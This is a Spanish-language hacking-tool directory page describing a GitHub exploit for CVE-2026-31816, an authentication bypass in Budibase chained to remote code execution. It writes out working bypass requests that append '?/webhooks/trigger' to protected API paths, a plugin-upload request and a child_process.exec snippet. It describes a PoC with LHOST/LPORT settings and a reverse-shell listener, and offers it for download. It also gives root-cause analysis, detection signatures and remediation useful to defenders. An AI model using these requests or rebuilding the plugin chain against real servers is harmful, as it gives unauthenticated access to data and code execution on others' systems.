Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31816 — CVE-2026-31816 - Bypass de autenticación de Budibase a RCE | Kitploit
Herramientas/GitHubGitHub/k3ystr0k3r/cve-2026-31816
Autenticación y AutorizaciónExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de PayloadsSeguridad de APIs
GitHubk3ystr0k3r/cve-2026-31816

CVE-2026-31816

CVE-2026-31816 - Bypass de autenticación de Budibase a RCE

Ver Repositorio
23hace 27 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-31816 - Bypass de autenticación a RCE en Budibase

CVE CVSS Vendor Type Impact

CVE-2026-31816 es una vulnerabilidad crítica de bypass de autenticación y autorización que afecta a Budibase.

La vulnerabilidad se encuentra en el middleware de autorización del lado del servidor responsable de proteger los endpoints de la API. Budibase intenta identificar endpoints de webhook legítimos con una expresión regular no anclada y evalúa dicha expresión contra ctx.request.url de Koa.

Debido a que ctx.request.url contiene la cadena de consulta, un atacante puede inyectar una ruta con apariencia de webhook en el componente de consulta de una solicitud de API por lo demás no relacionada.

Por ejemplo:

root@kitploit:~
/api/integrations?/webhooks/trigger

La solicitud no apunta realmente al endpoint de webhook. Sin embargo, la comprobación vulnerable puede interpretar /webhooks/trigger como evidencia de que la solicitud es una solicitud webhook legítima y permitir que la ejecución continúe sin los controles normales de autenticación y autorización.

NVD describe el problema como la posibilidad de que un atacante remoto completamente no autenticado acceda a endpoints de API del lado del servidor añadiendo un patrón de ruta de webhook a la URL.


Información de la vulnerabilidad

NVD registra las versiones de Budibase hasta 3.31.4 como afectadas y asigna una puntuación CVSS 3.1 de 9.1.


Causa raíz

La lógica vulnerable se centra en la detección de webhooks que se realiza antes de la autorización normal.

El aviso de seguridad documenta código conceptualmente equivalente a:

root@kitploit:~
const WEBHOOK_ENDPOINTS = new RegExp(
  [
    "webhooks/trigger",
    "webhooks/schema",
    "webhooks/discord",
    "webhooks/ms-teams"
  ].join("|")
)

export function isWebhookEndpoint(ctx) {
    return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}

El problema es la combinación de dos comportamientos:

  1. La expresión regular no está anclada.
  2. ctx.request.url contiene la cadena de consulta.

Eso significa que la expresión no necesita coincidir con la ruta real de la solicitud.

Una solicitud como:

root@kitploit:~
/api/some/protected/endpoint?/webhooks/trigger

aún contiene la cadena:

root@kitploit:~
/webhooks/trigger

dentro de la URL que se está evaluando.

El middleware de autorización trata posteriormente la solicitud como una solicitud webhook y llega al endpoint sin realizar el flujo de autorización normal.

El aviso de seguridad de Budibase identifica explícitamente esto como la falla subyacente y señala que el bypass omite la autenticación, la autorización, las comprobaciones de roles y la protección CSRF.


Bypass de autenticación

Se esperaría que una solicitud normal a un endpoint de API protegido pasara a través de la capa de autenticación.

Por ejemplo:

root@kitploit:~
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close

En cambio, se puede acceder a una instancia vulnerable con el patrón de cadena de consulta de webhook:

root@kitploit:~
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close

La parte importante es:

root@kitploit:~
?/webhooks/trigger

El endpoint en sí no ha cambiado:

root@kitploit:~
/api/integrations

Solo se ha modificado la cadena de consulta.

El aviso público de Budibase demuestra esta técnica exacta contra /api/integrations y varios otros endpoints del lado del servidor.


Verificación mínima

Una forma segura de verificar el bypass de autenticación en un laboratorio controlado es comparar una solicitud ordinaria con la variante de consulta de webhook.

Línea base

root@kitploit:~
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

Bypass

root@kitploit:~
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

El servidor vulnerable puede procesar la segunda solicitud sin los controles de autenticación que normalmente protegerían el endpoint.

Un PoC publicado utiliza de manera similar:

root@kitploit:~
/api/integrations?/webhooks/trigger

como una verificación simple de vulnerabilidad.


Solicitud HTTP cruda — Acceso a la API

Lo siguiente demuestra la estructura de una solicitud de API autenticada transformada en una solicitud no autenticada al añadir el patrón de webhook.

root@kitploit:~
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12

{"query":{}}

El aviso oficial de Budibase documenta este endpoint como una de las superficies de API afectadas.

Otros endpoints del lado del servidor documentados como alcanzables a través de la misma falla incluyen:

root@kitploit:~
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins

La observación clave es que la vulnerabilidad no está ligada a un recurso de aplicación particular. El middleware de autorización afectado se encuentra frente a un amplio conjunto de API del lado del servidor.


Cadena de explotación

El bypass de autenticación puede volverse considerablemente más grave cuando se combina con una API sensible capaz de aceptar funcionalidad controlada por el atacante.

El PoC de este repositorio encadena la vulnerabilidad de la siguiente manera:

root@kitploit:~
                    ┌─────────────────────────┐
                    │     Remote attacker     │
                    └────────────┬────────────┘
                                 │
                                 │  ?/webhooks/trigger
                                 ▼
                    ┌─────────────────────────┐
                    │ Budibase authorization  │
                    │       middleware        │
                    └────────────┬────────────┘
                                 │
                                 │ authentication bypass
                                 ▼
                    ┌─────────────────────────┐
                    │ Protected server-side   │
                    │       API endpoints     │
                    └────────────┬────────────┘
                                 │
                                 │ plugin upload
                                 ▼
                    ┌─────────────────────────┐
                    │   /api/plugin/upload    │
                    └────────────┬────────────┘
                                 │
                                 │ crafted plugin
                                 ▼
                    ┌─────────────────────────┐
                    │  Plugin JavaScript code │
                    │      execution          │
                    └────────────┬────────────┘
                                 │
                                 ▼
                          Code execution

El PoC primero verifica el bypass contra /api/integrations, luego construye un archivo de plugin de Budibase y lo envía a través de /api/plugin/upload.


Solicitud HTTP cruda — Carga de plugin

Una vez que se ha omitido la autorización, la solicitud de carga de plugin sigue el formato normal de carga multipart, con la consulta de webhook vulnerable añadida a la URL.

Una representación saneada es:

root@kitploit:~
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close

--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip

<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--

El PoC del repositorio crea esta solicitud multipart con un archivo de plugin .tar.gz y la envía a /api/plugin/upload?/webhooks/trigger.

Por seguridad, la solicitud anterior deja intencionalmente el archivo ejecutable como un marcador de posición en lugar de incrustar un payload de reverse shell directamente en la documentación.


Construcción del plugin

El PoC genera un archivo de plugin que contiene:

root@kitploit:~
package.json
schema.json
datasource-helper.js

El archivo se crea como un tarball comprimido con gzip.

El componente JavaScript se construye de modo que Node.js cargue child_process y ejecute un comando proporcionado:

root@kitploit:~
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);

La implementación del repositorio admite múltiples tipos de payload y genera el comando correspondiente dinámicamente.

Esta es la segunda etapa de la cadena:

root@kitploit:~
Authentication bypass
        ↓
Unauthenticated API access
        ↓
Plugin upload
        ↓
Attacker-controlled JavaScript
        ↓
Node.js command execution

Por qué ocurre el error

La vulnerabilidad es fundamentalmente un error de análisis de URL y de límite de confianza.

La aplicación necesita que algunas rutas de webhook sean públicamente accesibles. En lugar de determinar si la ruta real de la solicitud pertenece a una ruta de webhook permitida, la implementación vulnerable busca una subcadena coincidente en toda la URL.

Conceptualmente:

root@kitploit:~
Expected:

request.path
    │
    └── must actually equal a webhook endpoint


Actual vulnerable behavior:

request.url
    │
    ├── path
    └── query string
            │
            └── attacker-controlled text
                     │
                     └── /webhooks/trigger

Debido a que la cadena de consulta está controlada por el atacante, este puede colocar la cadena esperada por el detector de webhooks en cualquier parte de la URL.

Eso hace que una comprobación booleana sensible a la seguridad devuelva el resultado incorrecto:

root@kitploit:~
isWebhookEndpoint(ctx)
        │
        ├── false → normal authorization
        │
        └── true  → return next()
                       │
                       ├── authentication skipped
                       ├── authorization skipped
                       ├── role checks skipped
                       └── CSRF checks skipped

El aviso de Budibase describe explícitamente el comportamiento de return next() anticipado y el consiguiente bypass de las comprobaciones de seguridad.


Impacto

La vulnerabilidad es considerablemente más amplia que un simple bypass de inicio de sesión.

Según el aviso del proveedor, la explotación puede proporcionar acceso no autenticado a API del lado del servidor que afectan:

  • datos de la aplicación
  • tablas
  • filas
  • automatizaciones
  • fuentes de datos
  • consultas
  • vistas
  • plugins
  • roles y otros recursos administrativos

El aviso también confirma que el bypass elimina la protección CSRF y no requiere ni interacción del usuario ni credenciales existentes.

Cuando una API vulnerable capaz de procesar funcionalidad controlada por el atacante es alcanzable a través del bypass, la vulnerabilidad puede encadenarse hasta convertirse en ejecución arbitraria de código.

El PoC incluido en este repositorio demuestra esa ruta de ataque construyendo un archivo de plugin, subiéndolo y esperando su ejecución.


Detección

Una estrategia básica de detección es comparar el comportamiento de autenticación de una solicitud ordinaria y el de la misma solicitud con un sufijo de consulta estilo webhook.

Ejemplo:

root@kitploit:~
curl -i http://127.0.0.1:10000/api/integrations

frente a:

root@kitploit:~
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'

Una instalación vulnerable puede exponer un endpoint protegido a través de la segunda solicitud.

Esta técnica también se utiliza en material de detección disponible públicamente para CVE-2026-31816.


Versiones afectadas

La entrada de NVD identifica:

root@kitploit:~
Budibase <= 3.31.4

como afectadas.

Hay una discrepancia documental importante que vale la pena señalar: el aviso de seguridad de GitHub actualmente muestra "Versiones parcheadas: Ninguna", mientras que las referencias independientes de vulnerabilidad identifican 3.31.5 y posteriores como el límite de remediación. Por esa razón, este repositorio no debe presentar 3.31.5 como un parche incuestionable confirmado por el proveedor a menos que la versión/cambio correspondiente de Budibase se verifique de forma independiente.


Remediación

La remediación principal es actualizar Budibase a una versión que contenga el parche oficial.

Hasta que sea posible parchear, los controles defensivos pueden incluir:

root@kitploit:~
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
      /webhooks/trigger
      /webhooks/schema
      /webhooks/discord
      /webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.

La vulnerabilidad es especialmente preocupante para implementaciones autoalojadas expuestas a Internet porque el ataque no requiere una sesión autenticada.


Firma de detección

Un indicador útil a nivel de registros es una solicitud de API que contenga un patrón de ruta de webhook en la cadena de consulta:

root@kitploit:~
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams

Por ejemplo:

root@kitploit:~
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger

Estos patrones deben investigarse en lugar de tratarse automáticamente como prueba de explotación, ya que también deben considerarse el tráfico legítimo y el comportamiento específico de la aplicación.


Arquitectura del PoC

La implementación del exploit en este repositorio se divide en varios componentes lógicos:

root@kitploit:~
ExploitConfig
     │
     ├── target
     ├── LHOST
     ├── LPORT
     └── payload type
            │
            ▼
      BudibaseClient
            │
            ├── vulnerability check
            └── plugin upload
                    │
                    ▼
             PluginBuilder
                    │
                    └── .tar.gz
                            │
                            ▼
                      PayloadBuilder
                            │
                            └── JavaScript
                                    │
                                    ▼
                              command execution

La implementación también contiene un listener opcional para recibir una conexión de shell tras una explotación exitosa.


Ejemplo de flujo de verificación

Para un laboratorio controlado:

root@kitploit:~
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.

El PoC del repositorio realiza la verificación de vulnerabilidad antes de intentar la carga de la segunda etapa, abortando cuando la verificación inicial falla.

Notas de investigación de seguridad

Esta vulnerabilidad es un buen ejemplo de por qué la coincidencia de URL sensible a la seguridad debe realizarse contra una ruta de solicitud correctamente analizada y normalizada, en lugar de una cadena de URL completa controlada por el atacante.

El error es sutil porque la funcionalidad de webhook en sí misma es legítima. El problema es la decisión de confianza que toma el middleware:

root@kitploit:~
"¿Esta solicitud se dirige a un webhook?"

se responde efectivamente con:

root@kitploit:~
"¿La URL completa contiene una subcadena con apariencia de webhook?"

Esas no son propiedades de seguridad equivalentes.

Por lo tanto, un atacante no necesita hacer que su solicitud se convierta realmente en una solicitud webhook. Solo necesita hacer que el middleware de autorización crea que lo es.


Referencias

  • NVD: CVE-2026-31816
  • Aviso de seguridad de Budibase: GHSA-gw94-hprh-4wj8
  • Registro CVE / bases de datos públicas de vulnerabilidades
  • Historial de versiones de Budibase
  • Material público de detección e investigación para CVE-2026-31816

Descargo de responsabilidad

Este repositorio está destinado a investigación de seguridad, validación de vulnerabilidades y pruebas autorizadas. No uses el exploit contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.

Descargar herramienta
CampoValor
CVECVE-2026-31816
VendedorBudibase
ProductoBudibase
Versiones afectadas<= 3.31.4
GravedadCrítica
CVSS v3.19.1
Vector CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-74
Vector de ataqueRed
Privilegios requeridosNinguno
Interacción del usuarioNinguna
Autenticación requeridaNo